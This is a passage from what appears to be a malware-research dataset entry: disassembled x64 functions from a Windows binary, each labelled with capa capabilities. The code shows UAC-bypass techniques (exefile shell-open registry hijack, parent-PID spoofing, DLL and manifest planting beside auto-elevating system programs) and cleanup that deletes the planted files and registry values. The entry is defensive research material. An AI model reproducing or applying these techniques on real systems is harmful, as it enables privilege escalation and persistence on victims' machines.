joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016663
Capabilities:
Create process on windows
Delete registry value
Persist via default file association registry key
Set registry value
Terminate process

Disassembly:
jmp 0x1400273c0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xae8
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x2ba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xb08]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xa88], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x84], 0
lea rdx, str.SoftwareClassesexefile
lea rcx, [rbp + 0xb0]
call fcn.14001616d
lea rdx, str._shellopencommand
lea rcx, [rbp + 0xb0]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140027612
mov edx, 0x70
lea rcx, [rbp + 0x710]
call fcn.140016c2b
mov dword [rbp + 0x710], 0x70
mov dword [rbp + 0x714], 0x40
lea rax, [rbp + 0x2e0]
mov qword [rbp + 0x728], rax
lea rax, str.X:_P_F
mov qword [rbp + 0x730], rax
mov qword [rbp + 0x738], 0
mov dword [rbp + 0x740], 5
lea rcx, [rbp + 0x710]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140027608
mov rcx, qword [rbp + 0x778]
call qword [sym.imp.ntdll.dll_NtSuspendProcess]
mov rcx, qword [rbp + 0xab0]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0xab0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14002757b
mov dword [rbp + 0xa84], 1
jmp 0x140027585
mov dword [rbp + 0xa84], 0
mov eax, dword [rbp + 0xa84]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x14002759e
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 0x778]
call qword [sym.imp.ntdll.dll_NtResumeProcess]
mov edx, 0x1388
mov rcx, qword [rbp + 0x778]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1400275d3
xor edx, edx
mov rcx, qword [rbp + 0x778]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
mov rcx, qword [rbp + 0x778]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 0x24], 0
je 0x140027601
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004cb88]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0xa88]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0xa98]
pop rdi
pop rbp
ret
Function at 0x1400166e5
Capabilities:
Copy file

Disassembly:
jmp 0x1400267b0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xc88
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x322
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xca8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xc58], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x888], 0
mov rax, qword [0x140065a08]
cmp dword [rax + 0x5c], 0x2580
jae 0x140026834
mov edx, dword [rbp + 0xc88]
mov rcx, qword [rbp + 0xc80]
call fcn.14001604b
jmp 0x140026a45
mov edx, 0x410
lea rcx, [rbp + 0x460]
call fcn.140016c2b
mov edx, 0x410
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001616d
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, str.tzsync.exe
lea rcx, [rbp + 0x460]
call fcn.1400165e1
lea rax, str.migwiz.exe
mov qword [rbp + 0x888], rax
mov rdx, qword [rbp + 0x888]
lea rcx, [rbp + 0x30]
call fcn.1400165e1
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x1400268d6
jmp 0x140026a42
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x460]
call fcn.14001616d
mov edx, 0x410
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x460]
call fcn.1400168de
test eax, eax
jne 0x140026926
jmp 0x140026a42
mov edx, dword [rbp + 0xc88]
mov rcx, qword [rbp + 0xc80]
call fcn.140016681
test eax, eax
jne 0x140026941
jmp 0x140026a42
mov edx, 0x410
lea rcx, [rbp + 0x460]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001616d
mov rdx, qword [rbp + 0x888]
lea rcx, [rbp + 0x460]
call fcn.1400165e1
lea rdx, str..manifest
lea rcx, [rbp + 0x460]
call fcn.1400165e1
mov r9d, 0x20707461
mov r8d, 0x3ef
lea rdx, [0x14004a970]
lea rcx, [rbp + 0x460]
call fcn.14001601e
test eax, eax
jne 0x1400269bc
jmp 0x140026a42
mov edx, 0x410
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x460]
call fcn.1400168de
test eax, eax
jne 0x1400269f9
jmp 0x140026a42
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
mov rdx, qword [rbp + 0x888]
lea rcx, [rbp + 0x30]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.140016a7d
test eax, eax
je 0x140026a38
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002680d
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0xc58]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0xc68]
pop rdi
pop rbp
ret
Function at 0x1400166ea
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140034ad0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14006d21f]
call fcn.140016276
mov dword [rbp + 4], 0xc0000001
mov qword [rbp + 0x28], 0x30
mov edx, reloc.OLEAUT32.dll_SafeArrayGetElement
lea rcx, [rbp + 0xd8]
call fcn.140016c2b
mov edx, 0x70
lea rcx, [rbp + 0x50]
call fcn.140016c2b
mov dword [rbp + 0x50], 0x70
cmp qword [rbp + 0x28], 0x400
jbe 0x140034b60
jmp 0x140034c9e
mov rcx, qword [rbp + 0x28]
call fcn.14001687f
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
je 0x140034c8f
lea r9, [rbp + 0x28]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x140034c6c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x140034c6c
mov dword [rbp + 0x8c], 1
mov eax, 5
mov word [rbp + 0x90], ax
mov rax, qword [0x140065a08]
add rax, 0x6c
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140034c6c
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
cmp qword [rbp + 0xb8], 0
je 0x140034c83
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0xb8]
call fcn.140016032
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x140034b51
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400527c0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x1400166fe
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140038fa0
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0x80ea8
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 4
mov dword [rbp + 0x84], 4
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftNET_Framework_SetupNDP_v4Full
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140039063
lea rax, [rbp + 0x64]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x84]
xor r8d, r8d
lea rdx, str.Release
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x44], eax
jb 0x140039077
mov dword [rbp + 0x154], 1
jmp 0x140039081
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140055f50]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140016780
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x14002b330
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xc88
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x322
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xca8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xc58], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov rcx, qword [rbp + 0xc88]
call fcn.14001680c
cmp rax, 0x64
jbe 0x14002b3af
mov eax, 0xc00000f0
jmp 0x14002b531
mov edx, 0x410
lea rcx, [rbp + 0x480]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.14001616d
mov eax, dword [rbp + 0xc80]
mov dword [rbp + 0xc54], eax
cmp dword [rbp + 0xc54], 0x14
je 0x14002b3f3
jmp 0x14002b406
lea rdx, str.wbem_
lea rcx, [rbp + 0x480]
call fcn.1400165e1
mov rdx, qword [rbp + 0xc88]
lea rcx, [rbp + 0x480]
call fcn.1400165e1
lea rcx, [rbp + 0x480]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002b430
jmp 0x14002b52e
mov edx, 0x410
lea rcx, [rbp + 0x480]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.14001616d
mov eax, dword [rbp + 0xc80]
mov dword [rbp + 0xc54], eax
cmp dword [rbp + 0xc54], 0x14
je 0x14002b474
jmp 0x14002b494
lea rdx, str.wbem_
lea rcx, [rbp + 0x480]
call fcn.1400165e1
lea rax, str.rsop.msc
mov qword [rbp + 0x28], rax
jmp 0x14002b49f
lea rax, str.eventvwr.msc
mov qword [rbp + 0x28], rax
mov edx, 0x410
lea rcx, [rbp + 0x50]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001616d
mov rdx, qword [rbp + 0xc88]
lea rcx, [rbp + 0x50]
call fcn.1400165e1
mov r8d, dword [rbp + 0xc98]
mov rdx, qword [rbp + 0xc90]
lea rcx, [rbp + 0x50]
call fcn.140016ad7
test eax, eax
jne 0x14002b4f3
jmp 0x14002b52e
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x50]
call fcn.1400168de
test eax, eax
jne 0x14002b509
jmp 0x14002b52e
mov rdx, qword [rbp + 0x28]
lea rcx, str.mmc.exe
call fcn.140016a7d
test eax, eax
je 0x14002b524
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002b3af
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0xc58]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0xc68]
pop rdi
pop rbp
ret
Function at 0x14001678a
Capabilities:
Delete registry key
Set registry value

Disassembly:
jmp 0x140025240
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x558
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x156
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x578]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x4f8], rax
lea rcx, [0x14006d161]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x68], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x24], eax
lea rcx, [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x1400253c7
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionUninstall_
lea rcx, [rbp + 0xc0]
call fcn.14001616d
mov r8d, 0x40
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x88]
call qword [sym.imp.ole32.dll_StringFromGUID2]
test eax, eax
je 0x1400253c7
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc0]
call fcn.1400165e1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xc0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400253c7
mov rcx, qword [rbp + 0x520]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x48]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x520]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.UninstallString
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400253a9
lea rcx, [rbp + 0x2f0]
call fcn.140016550
test eax, eax
je 0x1400253a9
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rbp + 0xc0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp dword [rbp + 0x24], 0
jne 0x1400253d3
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x140049558]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x4f8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x508]
pop rdi
pop rbp
ret
Function at 0x1400167b2
Capabilities:
Delete file

Disassembly:
jmp 0x140025480
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x11f8
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x47e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1218]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x11c8], rax
lea rcx, [0x14006d174]
call fcn.140016276
mov dword [rbp + 4], 0
cmp qword [rbp + 0x11f8], 0
je 0x1400254f2
cmp qword [rbp + 0x11f0], 0
jne 0x1400254fa
mov eax, dword [rbp + 4]
jmp 0x140025665
mov edx, 0x410
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov eax, 0x30
add rax, 0x7ffe0000
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, str._syswow64_
lea rcx, [rbp + 0x30]
call fcn.1400165e1
lea rdx, str.sdbinst.exe
lea rcx, [rbp + 0x30]
call fcn.1400165e1
mov edx, 0x820
lea rcx, [rbp + 0x460]
call fcn.140016c2b
cmp dword [rbp + 0x1200], 0
je 0x140025581
lea rdx, [0x140049a78]
lea rcx, [rbp + 0x460]
call fcn.14001616d
mov rdx, qword [rbp + 0x11f0]
lea rcx, [rbp + 0x460]
call fcn.1400165e1
jmp 0x140025594
mov rdx, qword [rbp + 0x11f0]
lea rcx, [rbp + 0x460]
call fcn.14001616d
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x30]
call fcn.140016a7d
test eax, eax
je 0x140025662
mov edx, 0x820
lea rcx, [rbp + 0x460]
call fcn.140016c2b
mov eax, 0x30
add rax, 0x7ffe0000
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001616d
lea rdx, str._syswow64_
lea rcx, [rbp + 0x460]
call fcn.1400165e1
mov rdx, qword [rbp + 0x11f8]
lea rcx, [rbp + 0x460]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.140016a7d
mov dword [rbp + 4], eax
mov edx, 0x820
lea rcx, [rbp + 0x460]
call fcn.140016c2b
lea rdx, str._q__u
lea rcx, [rbp + 0x460]
call fcn.14001616d
mov rdx, qword [rbp + 0x11f0]
lea rcx, [rbp + 0x460]
call fcn.1400165e1
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x30]
call fcn.140016a7d
mov rcx, qword [rbp + 0x11f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x11c8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x11d8]
pop rdi
pop rbp
ret
Function at 0x1400167c6
Capabilities:
Delete registry value

Disassembly:
jmp 0x140037440
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x4e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov qword [rbp + 8], 0
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2000000
xor r8d, r8d
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14003751a
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
cdqe
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400374eb
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0x28], 0
jne 0x140037508
mov dword [rbp + 0xf4], 1
jmp 0x140037512
mov dword [rbp + 0xf4], 0
mov eax, dword [rbp + 0xf4]
jmp 0x14003751c
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140055580]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400167cb
Capabilities:
Delete file

Disassembly:
jmp 0x140032d20
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1218
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x486
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1238]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x11e8], rax
lea rcx, [0x14006d1f9]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov edx, 0x410
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov edx, 0x410
lea rcx, [rbp + 0x460]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, str.ntwdblib.dll
lea rcx, [rbp + 0x30]
call fcn.1400165e1
mov r8d, dword [rbp + 0x1218]
mov rdx, qword [rbp + 0x1210]
lea rcx, [rbp + 0x30]
call fcn.140016ad7
test eax, eax
je 0x140032ee5
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001616d
lea rdx, str.oemsetup.inf
lea rcx, [rbp + 0x460]
call fcn.1400165e1
mov r9d, 0x20707461
mov r8d, 0x13f
lea rdx, [0x140050ef0]
lea rcx, [rbp + 0x460]
call fcn.14001601e
test eax, eax
je 0x140032ee5
mov edx, 0x410
lea rcx, [rbp + 0x890]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x890]
call fcn.14001616d
lea rdx, str.InfDefaultInstall.exe
lea rcx, [rbp + 0x890]
call fcn.1400165e1
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x890]
call fcn.140016a7d
test eax, eax
je 0x140032ee5
mov edx, 0x410
lea rcx, [rbp + 0x890]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x890]
call fcn.14001616d
lea rdx, str.cliconfg.exe
lea rcx, [rbp + 0x890]
call fcn.1400165e1
xor edx, edx
lea rcx, [rbp + 0x890]
call fcn.140016a7d
test eax, eax
je 0x140032ee5
mov dword [rbp + 4], 0
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x460]
test eax, eax
je 0x140032f07
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x30]
test eax, eax
je 0x140032f23
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140051480]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x11e8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x11f8]
pop rdi
pop rbp
ret
Function at 0x14001682f
Capabilities:
Delete file

Disassembly:
jmp 0x140035100
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1a6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x14006d232]
call fcn.140016276
mov edx, 0x410
lea rcx, [rbp + 0x10]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.14001616d
lea rdx, str.update.msu
lea rcx, [rbp + 0x10]
call fcn.1400165e1
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x20]
lea rdx, [0x1400529d0]
call fcn.140016b90
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x140016843
Capabilities:
Delete file

Disassembly:
jmp 0x140028ef0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xc88
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x322
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xca8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xc58], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov edx, 0x410
lea rcx, [rbp + 0x50]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001616d
lea rdx, str.dismcore.dll
lea rcx, [rbp + 0x50]
call fcn.1400165e1
mov r8d, dword [rbp + 0xc88]
mov rdx, qword [rbp + 0xc80]
lea rcx, [rbp + 0x50]
call fcn.140016ad7
test eax, eax
jne 0x140028fa0
jmp 0x1400290b7
mov dword [rbp + 0x24], 1
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.14001616d
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x50]
call fcn.1400168de
test eax, eax
jne 0x140028fdc
jmp 0x1400290b7
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001616d
lea rdx, str.oemsetup.xml
lea rcx, [rbp + 0x50]
call fcn.1400165e1
mov r9d, 0x20707461
mov r8d, 0x1bc
lea rdx, [0x14004ad60]
lea rcx, [rbp + 0x50]
call fcn.14001601e
test eax, eax
jne 0x14002902a
jmp 0x1400290b7
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.14001616d
lea rdx, str.pkgmgr.exe
lea rcx, [rbp + 0x480]
call fcn.1400165e1
lea rdx, [0x14004e640]
lea rcx, [rbp + 0x50]
call fcn.14001616d
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.1400165e1
lea rdx, str.oemsetup.xml
lea rcx, [rbp + 0x50]
call fcn.1400165e1
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x480]
call fcn.140016a7d
test eax, eax
je 0x1400290ad
